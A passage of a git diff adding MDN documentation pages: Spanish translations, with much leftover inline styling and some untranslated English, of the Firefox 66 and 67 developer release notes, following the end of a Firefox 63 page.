+ <li>The {{WebExtAPIRef('tabs.onUpdated')}} event can be used to track when a tab is drawing the user's attention with <code>attention</code> property of the <code>changeInfo</code> object ({{bug(1396684)}}).</li>
+</ul>
+
+<h4 id="Menus">Menus</h4>
+
+<ul>
+ <li>Added {{WebExtApiRef("menus.getTargetElement()")}} to the {{WebExtApiRef("menus")}} API. The method returns the clicked on element referenced by the <code>targetElementId</code> parameter ({{bug(1325814)}}).</li>
+ <li>{{WebExtAPIRef("menus.create()")}} now enables you to create invisible menu items, and {{WebExtAPIRef("menus.update()")}} enables you to toggle menu item visibility ({{bug(1482529)}}).</li>
+ <li>Items created using the {{WebExtAPIRef("menus")}} API now support access keys ({{bug(1320462)}}).</li>
+ <li>The <code>targetUrlPatterns</code> parameter of {{WebExtApiRef("menus.create()")}} and {{WebExtApiRef("menus.update()")}} now supports any URL scheme, even those that are usually not allowed in a match pattern ({{bug(1280370)}}).</li>
+</ul>
+
+<h4 id="Other_2">Other</h4>
+
+<ul>
+ <li>{{WebExtAPIRef("commands.onCommand")}} is now treated as <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/User_actions">user input</a> ({{bug(1408129)}}).</li>
+ <li>The {{WebExtAPIRef("webRequest")}} API now enables you to filter for speculative connections ({{bug(1479565)}}).</li>
+ <li>{{WebExtAPIRef("webRequest.SecurityInfo")}} adds two new properties, <code>keaGroupName</code> and <code>signatureSchemeName</code>. This change was uplifted to Firefox 62 ({{bug(1471959)}}).</li>
+ <li>{{WebExtAPIRef("cookies.Cookie")}} now includes a property indicating the SameSite state of the cookie. The {{WebExtAPIRef("cookies.SameSiteStatus")}} enumeration defines SameSite state values ({{bug(1351663)}}).</li>
+ <li>Match patterns for URLs now explicitly match the "data" URL scheme ({{bug(1280370)}}).</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://www.fxsitecompat.com/en-CA/versions/63/">Site compatibility for Firefox 63</a></li>
+</ul>
+
+<h2 id="Older_versions">Older versions</h2>
+
+<p>{{Firefox_for_developers(62)}}</p>
diff --git a/files/es/mozilla/firefox/releases/66/index.html b/files/es/mozilla/firefox/releases/66/index.html
new file mode 100644
index 0000000000..1231c4e85a
--- /dev/null
+++ b/files/es/mozilla/firefox/releases/66/index.html
@@ -0,0 +1,162 @@
+---
+title: Firefox 66 para desarrolladores
+slug: Mozilla/Firefox/Releases/66
+tags:
+  - '66'
+  - Firefox
+  - Lanzamiento
+  - Mozilla
+translation_of: Mozilla/Firefox/Releases/66
+---
+<div>{{FirefoxSidebar}}</div>
+
+<p class="summary"><font>Este artículo proporciona información sobre los cambios en Firefox 66 que afectarán a los desarrolladores.<span> </span></font><font>Firefox 66 fue lanzado el 19 de marzo de 2019.</font></p>
+
+<h2 id="Cambios_para_desarrolladores_web" style='margin: 103px 0px 20px; padding: 0px; border: 0px; font-size: 2.33333rem; font-family: x-locale-heading-primary, zillaslab, Palatino, "Palatino Linotype", x-locale-heading-secondary, serif; line-height: 1.2; position: relative; color: rgb(51, 51, 51); font-style: normal; letter-spacing: -0.04448px; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-style: initial;'><font><font>Cambios para desarrolladores web</font></font></h2>
+
+<h3 id="Herramientas_de_desarrollo">Herramientas de desarrollo</h3>
+
+<ul>
+ <li><font><font>Los captadores de JavaScript ahora pueden ejecutarse desde la ventana emergente de autocompletado en la<span> </span></font></font> <a href="https://developer.mozilla.org/en-US/docs/Tools/Web_Console">Consola Web</a>  ({{bug(1499289)}}).</li>
+ <li><span style="background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: Arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-weight: 400; letter-spacing: -0.04448px; text-align: left; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">Los métodos de la ventana</span> {{domxref("Window.alert()", "alert()")}}, {{domxref("Window.prompt()","prompt()")}}, and {{domxref("Window.confirm()","confirm()")}} ahora trabajan de nuevo en el <a href="https://developer.mozilla.org/en-US/docs/Tools/Responsive_Design_Mode">Modo de diseño de respuesta</a>, <span style="background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: Arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-weight: 400; letter-spacing: -0.04448px; text-align: left; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">después de un período de ruptura </span>({{bug(1273997)}}).</li>
+ <li style="margin: 0px 0px 6px; padding: 0px; border: 0px;"><font><font>Puede copiar la salida de la consola al portapapeles haciendo clic derecho y seleccionando "</font></font><strong style="border: 0px; margin: 0px; padding: 0px;"><font><font>Exportar mensajes visibles al portapapeles</font></font></strong><font><font>" en el menú contextual.</font></font></li>
+</ul>
+
+<h3 id="HTML">HTML</h3>
+
+<ul>
+ <li><font><font>Los archivos HTML (y texto sin formato)<span> </span></font><font>codificados en UTF-8 que se<span> </span></font><font>cargan desde las<span> </span></font></font><code style='margin: 0px; padding: 0px 2px; border: 0px; font-style: normal; font-weight: 400; background-color: rgba(220, 220, 220, 0.5); border-radius: 2px; font-family: consolas, "Liberation Mono", courier, monospace; color: rgb(51, 51, 51); font-size: 16px; letter-spacing: -0.04448px; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; text-decoration-style: initial;'>file:</code><font><font>URL ahora son compatibles sin<span> </span></font></font><code style='margin: 0px; padding: 0px 2px; border: 0px; font-style: normal; font-weight: 400; background-color: rgba(220, 220, 220, 0.5); border-radius: 2px; font-family: consolas, "Liberation Mono", courier, monospace; color: rgb(51, 51, 51); font-size: 16px; letter-spacing: -0.04448px; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; text-decoration-style: initial;'>&lt;meta charset="utf-8"&gt; </code><font><font>la lista de materiales UTF-8 BOM, lo que facilita el trabajo local en dichos archivos antes de cargarlos en un servidor.<span> </span></font><font>Aún debe asegurarse de que el servidor envíe<span> </span></font></font><code style='margin: 0px; padding: 0px 2px; border: 0px; font-style: normal; font-weight: 400; background-color: rgba(220, 220, 220, 0.5); border-radius: 2px; font-family: consolas, "Liberation Mono", courier, monospace; color: rgb(51, 51, 51); font-size: 16px; letter-spacing: -0.04448px; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; text-decoration-style: initial;'>charset=utf-8</code><font><font> en el<span> </span></font></font><code style='margin: 0px; padding: 0px 2px; border: 0px; font-style: normal; font-weight: 400; background-color: rgba(220, 220, 220, 0.5); border-radius: 2px; font-family: consolas, "Liberation Mono", courier, monospace; color: rgb(51, 51, 51); font-size: 16px; letter-spacing: -0.04448px; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; text-decoration-style: initial;'>Content-Type</code><font><font> encabezado HTTP para dichos archivos, de lo contrario, el mecanismo de detección utilizado para los archivos locales interrumpiría la carga incremental en el caso de la red<span> </span></font></font> ({{bug(1071816)}}).</li>
+</ul>
+
+<h4 id="Removido" style='margin: 30px 0px 20px; padding: 0px; border: 0px; font-size: 1.33333rem; font-family: x-locale-heading-primary, zillaslab, Palatino, "Palatino Linotype", x-locale-heading-secondary, serif; line-height: 1.2; color: rgb(51, 51, 51); font-style: normal; letter-spacing: -0.04448px; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-style: initial;'><font><font>Removido</font></font></h4>
+
+<ul>
+ <li>El <code>x-moz-errormessage</code> <span style="background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: Arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-weight: 400; letter-spacing: -0.04448px; text-align: left; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">atributo se ha eliminado del</span> {{HTMLElement("input")}} elemento ({{bug(1513890)}}). Debe usar  {{domxref("Constraint_validation", "Funciones de validación de restricciones", "", "1")}} <span style="background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: Arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-weight: 400; letter-spacing: -0.04448px; text-align: left; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">para implementar mensajes de validación personalizados en su luga</span>r.</li>
+</ul>
+
+<h3 id="CSS">CSS</h3>
+
+<ul>
+ <li><a href="https://drafts.csswg.org/css-scroll-anchoring/">El Anclaje de desplazamiento</a> <span style="background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: Arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-weight: 400; letter-spacing: -0.04448px; text-align: left; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">se ha implementado en Firefox Desktop (pero todavía no en dispositivos móviles), que incluye la</span> {{cssxref("overflow-anchor")}} propiedad ({{bug(1305957)}}).</li>
+ <li><font>Hemos implementado el<span> </span></font><font>modificador de</font> <a href="/en-US/docs/Web/CSS/Attribute_selectors">selector de atributo</a> que distingue entre  <span style="background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: Arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-weight: 400; letter-spacing: -0.04448px; text-align: left; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">mayúsculas y minúsculas</span>, <code>s</code> ({{Bug(1512386)}}).</li>
+ <li>Varias <a href="/en-US/docs/Web/CSS/CSS_Logical_Properties">propiedades logicas</a><font><font> abreviadas</font><font><span> </span>han aterrizado, junto con las propiedades del radio del borde relativo al flujo:</font></font>
+  <ul>
+   <li>{{cssxref("padding-block")}} y {{cssxref("padding-inline")}} ({{bug(1519847)}}).</li>
+   <li>{{cssxref("margin-block")}} y {{cssxref("margin-inline")}} ({{bug(1519944)}}).</li>
+   <li>{{cssxref("inset")}}, {{cssxref("inset-block")}}, y {{cssxref("inset-inline")}} ({{bug(1520229)}}).</li>
+   <li>{{cssxref("border-block-color")}}, {{cssxref("border-block-style")}}, {{cssxref("border-block-width")}}, {{cssxref("border-inline-color")}}, {{cssxref("border-inline-style")}}, and {{cssxref("border-inline-width")}} ({{bug(1520236)}}).</li>
+   <li>{{cssxref("border-block")}} y {{cssxref("border-inline")}} ({{bug(1520396)}}).</li>
+   <li>{{cssxref("border-start-start-radius")}}, {{cssxref("border-start-end-radius")}}, {{cssxref("border-end-start-radius")}}, y {{cssxref("border-end-end-radius")}} ({{bug(1520684)}}).</li>
+  </ul>
+ </li>
+ <li><font>Implementamos las<span> </span></font><font>consultas</font> {{cssxref("@media/overflow-inline", "overflow-inline")}} y {{cssxref("@media/overflow-block", "overflow-block")}} medios ({{Bug(1422235)}}).</li>
+ <li>{{cssxref("grid-template-columns")}} y {{cssxref("grid-template-rows")}} <span style="background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: Arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-weight: 400; letter-spacing: -0.04448px; text-align: left; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">ahora se pueden animar, según las reglas establecidas en sus especificaciones</span> ({{bug(1348519)}}).</li>
+ <li>Ahora soportamos {{cssxref("calc")}} <span style="background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: Arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-weight: 400; letter-spacing: -0.04448px; text-align: left; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">con porcentajes para celdas de tabla y anchos de columna</span>  ({{bug(957915)}}).</li>
+ <li><font>Las<span> </span></font><font>palabras clave</font> <code>min-content</code> y <code>max-content</code> <span style="background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: Arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-weight: 400; letter-spacing: -0.04448px; text-align: left; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">ahora están disponibles sin prefijo</span> ({{bug(1322780)}}). <span style="background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: Arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-weight: 400; letter-spacing: -0.04448px; text-align: left; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">Estos se pueden establecer en</span>:
+  <ul>
+   <li>{{cssxref("width")}}</li>
+   <li>{{cssxref("height")}}</li>
+   <li>{{cssxref("flex-basis")}}</li>
+   <li>{{cssxref("min-width")}}</li>
+   <li>{{cssxref("max-width")}}</li>
+   <li>{{cssxref("min-height")}}</li>
+   <li>{{cssxref("max-height")}}</li>
+   <li>{{cssxref("min-block-size")}}</li>
+   <li>{{cssxref("min-inline-size")}}</li>
+   <li>{{cssxref("max-block-size")}}</li>
+   <li>{{cssxref("max-inline-size")}}</li>
+   <li>{{cssxref("block-size")}}</li>
+   <li>{{cssxref("inline-size")}}</li>
+  </ul>
+ </li>
+</ul>
+
+<h3 id="SVG">SVG</h3>
+
+<p><em>No hay adicionales.</em></p>
+
+<h4 id="Removido_2">Removido</h4>
+
+<ul>
+ <li>Eliminamos el soporte para <code><a href="/en-US/docs/XML_introduction/xml:base">xml:base</a></code> atributo ({{Bug(903372)}}).</li>
+</ul>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<p><em>Sin cambios.</em></p>
+
+<h3 id="APIs">APIs</h3>
+
+<h4 id="Nuevos_en_APIscambios">Nuevos en APIs/cambios</h4>
+
+<ul>
+ <li><span style="background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: Arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-weight: 400; letter-spacing: -0.04448px; text-align: left; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">La reproducción automática de audio se bloqueará de forma predeterminada poco después de que la versión 66 se convierta en la versión de lanzamiento de Firefox</span> ({{bug(1487844)}}, <span style="background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: Arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-weight: 400; letter-spacing: -0.04448px; text-align: left; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">consulte el</span>  {{bug(1535667)}} <span style="background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: Arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-weight: 400; letter-spacing: -0.04448px; text-align: left; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">para obtener información detallada sobre la implementación</span>). <font><span> </span></font><font>La función se extenderá gradualmente a los usuarios hasta que todos la tengan.</font></li>
+</ul>
+
+<h4 id="DOM">DOM</h4>
+
+<ul>
+ <li>El {{domxref("HTMLSlotElement.assignedElements()")}} <span style="background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: Arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-weight: 400; letter-spacing: -0.04448px; text-align: left; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">método ha sido implementado</span> ({{bug(1425685)}}).</li>
+ <li>El {{domxref("TextEncoder.encodeInto()")}} <span style="background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: Arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-weight: 400; letter-spacing: -0.04448px; text-align: left; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">método ha sido implementado</span>  ({{bug(1514664)}}).</li>
+</ul>
+
+<h4 id="Eventos_DOM">Eventos DOM</h4>
+
+<ul>
+ <li>La {{domxref("InputEvent.inputType")}} <span style="background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: Arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-weight: 400; letter-spacing: -0.04448px; text-align: left; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">propiedad ha sido implementada</span>  ({{bug(1447239)}}).</li>
+ <li><font>Las<span> </span></font><font>propiedades</font>  {{domxref("Window.event")}} y  {{domxref("Event.returnValue")}} <span style="background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: Arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-weight: 400; letter-spacing: -0.04448px; text-align: left; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">ropiedades, que originalmente eran propiedad de IE, y que luego se admitían en otros navegadores por motivos de compatibilidad, se han vuelto a introducir en Firefox 66, después de haber sido agregadas primero en las versiones 63 y 64 respectivamente, pero luego se eliminaron nuevamente debido a problemas de compatibilidad.</span></li>
+ <li><span style="background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: Arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-weight: 400; letter-spacing: -0.04448px; text-align: left; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">A partir de 66, cuando la</span> {{domxref("KeyboardEvent.keyCode")}} propiedad del {{event("keypress")}} evento del objeto es 0, <span style="background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: Arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-weight: 400; letter-spacing: -0.04448px; text-align: left; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">el valor será el mismo que<span> </span></span> {{domxref("KeyboardEvent.charCode")}}. <span style="background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: Arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-weight: 400; letter-spacing: -0.04448px; text-align: left; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">Por el contrario, cuando</span>, <code>charCode</code> es 0, <span style="background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: Arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-weight: 400; letter-spacing: -0.04448px; text-align: left; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">será igual que</span> <code>keyCode</code>. <font><font>Este comportamiento de duplicación coincide con otros navegadores y se espera que solucione la mayoría de los problemas de compatibilidad asociados, sin embargo, la detección de agentes de usuario puede causar problemas adicionales en algunas bibliotecas de JavaScript.<span> </span></font><font>Tenga en cuenta que en términos de especificaciones, hemos cambiado desde el<span> </span></font></font><em><font><font>modelo de división</font></font></em><font><font><span> </span>del<span> </span></font></font><em><font><font>modelo fusionado</font></font></em>  (ver <a href="https://w3c.github.io/uievents/#determine-keypress-keyCode">Como determinar keyCode para eventos de pulsaciones de tecla</a> <span style="background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: Arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-weight: 400; letter-spacing: -0.04448px; text-align: left; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">en la especificación de interfaz de usuario de eventos</span>).</li>
+</ul>
+
+<h4 id="Media_Audio_Web_y_WebRTC">Media, Audio Web, y WebRTC</h4>
+
+<ul>
+ <li>El {{domxref("MediaDevices")}} método {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}}, <span style="background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: Arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-weight: 400; letter-spacing: -0.04448px; text-align: left; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">disponible como<span> </span></span><code>navigator.mediaDevices.getDisplayMedia()</code>, <font>se ha agregado y sincronizado con la especificación.<span> </span></font><font>Este método le permite capturar una pantalla o parte de una pantalla<span> </span></font>{{domxref("MediaStream")}} <span style="background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: Arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-weight: 400; letter-spacing: -0.04448px; text-align: left; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">para manipularla o compartirla</span> ({{bug(1321221)}}).</li>
+ <li><span style="background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: Arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-weight: 400; letter-spacing: -0.04448px; text-align: left; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">Como un paso hacia la desaprobación específico de Firefox<span> </span></span> {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}}- <span style="background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: Arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-weight: 400; letter-spacing: -0.04448px; text-align: left; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">método basado para capturar contenido de la pantalla y de la ventana, no la restricción </span><code>mediaSource</code>  <span style="background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: Arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-weight: 400; letter-spacing: -0.04448px; text-align: left; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">estándar, ahora trata los valores</span> <code>screen</code> y  <code>window</code> de forma idéntica. <span style="background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: Arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-weight: 400; letter-spacing: -0.04448px; text-align: left; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">Ambos ahora presentan una lista de pantallas y ventanas para que el usuario pueda elegir</span> ({{bug(1474376)}}).</li>
+ <li>{{domxref("RTCRtpStreamStats.qpSum", "qpSum")}} <span style="background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: Arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-weight: 400; letter-spacing: -0.04448px; text-align: left; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">Se ha agregado a</span> {{domxref("RTCRTPStreamStats")}} <font>objetos de<span> </span></font><font>salida locales</font>. <font>Esto mide el total de los valores de los parámetros de cuantización para cada fotograma enviado o recibido en la pista de video.<span> </span></font><font>Cuanto mayor sea este número, más comprimida estará probablemente la transmisión</font> ({{bug(1347070)}}).</li>
+ <li><span style="background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: Arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-weight: 400; letter-spacing: -0.04448px; text-align: left; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">En un paso en el camino hacia la implementación del soporte para la Política de funciones en una futura actualización de Firefox</span>, {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}} <span style="background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: Arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-weight: 400; letter-spacing: -0.04448px; text-align: left; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">a no se puede usar en situaciones en las que no hay un origen adecuado para el contenido, como cuando se llama desde un espacio aislado</span> {{HTMLElement("iframe")}} o desde una <code>data</code> URL <font><span> </span>ingresada en el Barra de direcciones por el usuario.<span> </span></font><font>Para obtener más detalles específicos, consulte</font> {{SectionOnPage("/en-US/docs/Web/API/MediaDevices/getUserMedia", "Security")}} ({{bug(1371741)}}).</li>
+</ul>
+
+<h4 id="Removido_3">Removido</h4>
+
+<ul>
+ <li>El legado WebRTC {{domxref("PeerConnection.getStats()")}} <font>método<span> </span></font><font>heredado de WebRTC<span> </span></font><font>se ha eliminado, junto con los tipos asociados</font> ({{bug(1328194)}}).</li>
+</ul>
+
+<h3 id="Redes">Redes</h3>
+
+<ul>
+ <li><span style="background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: Arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-weight: 400; letter-spacing: -0.04448px; text-align: left; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">El valor predeterminado del</span> {{httpheader("Accept")}} <span style="background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: Arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-weight: 400; letter-spacing: -0.04448px; text-align: left; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">encabezado se ha cambiado a</span> <code>*/*</code> ({{bug(1417463)}}).</li>
+</ul>
+
+<h3 id="Seguridad">Seguridad</h3>
+
+<p><em>Sin cambios.</em></p>
+
+<h3 id="Complementos">Complementos</h3>
+
+<p><em>Sin cambios.</em></p>
+
+<h2 id="Cambios_para_desarrolladores_de_complementos">Cambios para desarrolladores de complementos</h2>
+
+<h3 id="Cambios_en_la_API">Cambios en la API</h3>
+
+<h4 id="Menús">Menús</h4>
+
+<ul>
+ <li><span style="background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: Arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-weight: 400; letter-spacing: -0.04448px; text-align: left; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">Los elementos del menú de extensión del "marcador"</span> {{WebExtAPIRef("menus.ContextType", "type")}} <span style="background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: Arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-weight: 400; letter-spacing: -0.04448px; text-align: left; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">también aparecerán en la barra lateral de Marcadores</span> (<kbd>Ctrl</kbd> + <kbd>B</kbd>) <span style="background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: Arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-weight: 400; letter-spacing: -0.04448px; text-align: left; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">y en la ventana de la Biblioteca</span> (<kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>B</kbd>) ({{bug(1419195)}}).</li>
+</ul>
+
+<h3 id="Cambios_en_Manifesto">Cambios en Manifesto</h3>
+
+<p><em>Sin cambios.</em></p>
+
+<h2 id="Véase_también_la">Véase también la</h2>
+
+<ul>
+ <li><a href="https://www.fxsitecompat.com/en-CA/versions/66/">Compatibilidad del sitio para Firefox 66</a></li>
+</ul>
+
+<h2 id="Versiones_anteriores">Versiones anteriores</h2>
+
+<p>{{Firefox_for_developers(65)}}</p>
diff --git a/files/es/mozilla/firefox/releases/67/index.html b/files/es/mozilla/firefox/releases/67/index.html
new file mode 100644
index 0000000000..a60df8ab8a
--- /dev/null
+++ b/files/es/mozilla/firefox/releases/67/index.html
@@ -0,0 +1,198 @@
+---
+title: Firefox 67 for developers
+slug: Mozilla/Firefox/Releases/67
+tags:
+  - '67'
+  - Firefox
+  - Lanzamiento
+  - Mozilla
+translation_of: Mozilla/Firefox/Releases/67
+---
+<p>{{FirefoxSidebar}}</p>
+
+<p class="summary">Este artículo provee información sobre los cambios en Firefox 67 que afectarán a los desarrolladores. Firefox 67 fue lanzado el 21 de Mayo de 2019.</p>
+
+<h2 id="Cambios_para_desarrolladores_web">Cambios para desarrolladores web</h2>
+
+<h3 id="Herramientas_de_desarrollo">Herramientas de desarrollo</h3>
+
+<ul>
+ <li>Actualizaciones del depurador:
+  <ul>
+   <li><a href="/en-US/docs/Tools/Debugger/How_to/Set_a_breakpoint">Los puntos de interrupción de columna</a> te permiten elegir el punto específico (o columna) en una línea de código donde quieres que el depurador pare ({{bug(1528417)}}).</li>
+   <li><a href="/en-US/docs/Tools/Debugger/Set_a_log_point">Los puntos de registro</a> te permiten registrar información específica a la consola durante la ejecución de código sin pausar la ejecución y sin la necesidad de cambiar el código.</li>
+   <li>The <a href="/en-US/docs/Tools/Debugger/Using_the_Debugger_map_scopes_feature">map scopes feature</a> allows you to view the variables from the original source.</li>
+   <li>You can <a href="/en-US/docs/Tools/Debugger/Debug_worker_threads">debug service worker</a> threads directly in the debugger.</li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Tools/Web_Console">Web Console</a> updates:
+  <ul>
+   <li>Navigate details in the console using the keyboard ({{bug(1424159)}}).</li>
+   <li>Cmd + K will now clear the console of its contents on macOS ({{bug(1532939)}}).</li>
+   <li>When the user clears the console, the error messages cache is cleared as well ({{bug(717611)}}).</li>
+   <li>The user can import existing modules into the current page using import ({{bug(1517546)}}).</li>
+   <li>A new context menu item allows the user to use the <strong>Copy Link Location</strong> command ({{bug(1457111)}}).</li>
+   <li>Clicking a link in the Console causes the same behavior that it would in a content window ({{bug(1466040)}}).</li>
+   <li>Clicking the source link for a code file in the Console panel navigates to the Debugger if debugger knows the file ({{bug(1447244)}}).</li>
+   <li>When the user has filtered the contents of the console, an icon will be added to the filter text box to clear the filter ({{bug(1525821)}}).</li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Tools/Network_Monitor">Network Monitor</a> enhancements:
+  <ul>
+   <li>The <a href="/en-US/docs/Tools/Network_Monitor/request_details#Headers">Header</a> panel of the Network monitor will now display a notification for resources belonging to a known tracker ({{bug(1485416)}}).</li>
+   <li>In the Network monitor <a href="/en-US/docs/Tools/Network_Monitor/request_list#Network_request_columns">request columns</a>, you can control the visible columns and column sorting. The context menu now includes a command to restore the list sort parameters to the default ({{bug(1454962)}}).</li>
+  </ul>
+ </li>
+</ul>
+
+<h4 id="Removals">Removals</h4>
+
+<ul>
+ <li>The following Developer Tools panels have been removed (see <a href="/en-US/docs/Tools/Deprecated_tools">Deprecated tools</a> for details):
+
+  <ul>
+   <li>Canvas debugger ({{bug(1403938)}}).</li>
+   <li>Shader editor ({{bug(1342237)}}).</li>
+   <li>WebAudio editor ({{bug(1403944)}}).</li>
+  </ul>
+ </li>
+ <li>The following Developer Tools have been deprecated (see <a href="/en-US/docs/Tools/Deprecated_tools">Deprecated tools</a> for details):
+  <ul>
+   <li>WebIDE ({{bug(1539462)}}).</li>
+   <li>Connect... page ({{bug(1539462)}}).</li>
+  </ul>
+ </li>
+</ul>
+
+<h3 id="HTML">HTML</h3>
+
+<ul>
+ <li>{{htmlelement("input")}} elements with <code><a href="/en-US/docs/Web/HTML/Attributes/autocomplete">autocomplete</a>="new-password"</code> set on them will no longer have previously saved passwords auto-filled ({{bug(1119063)}}).</li>
+</ul>
+
+<h3 id="CSS">CSS</h3>
+
+<ul>
+ <li>The {{cssxref("revert")}} keyword has been implemented ({{bug(1215878)}}).</li>
+ <li>The <code>break-word</code> value of the {{cssxref("word-break")}} property is now supported ({{bug(1296042)}}).</li>
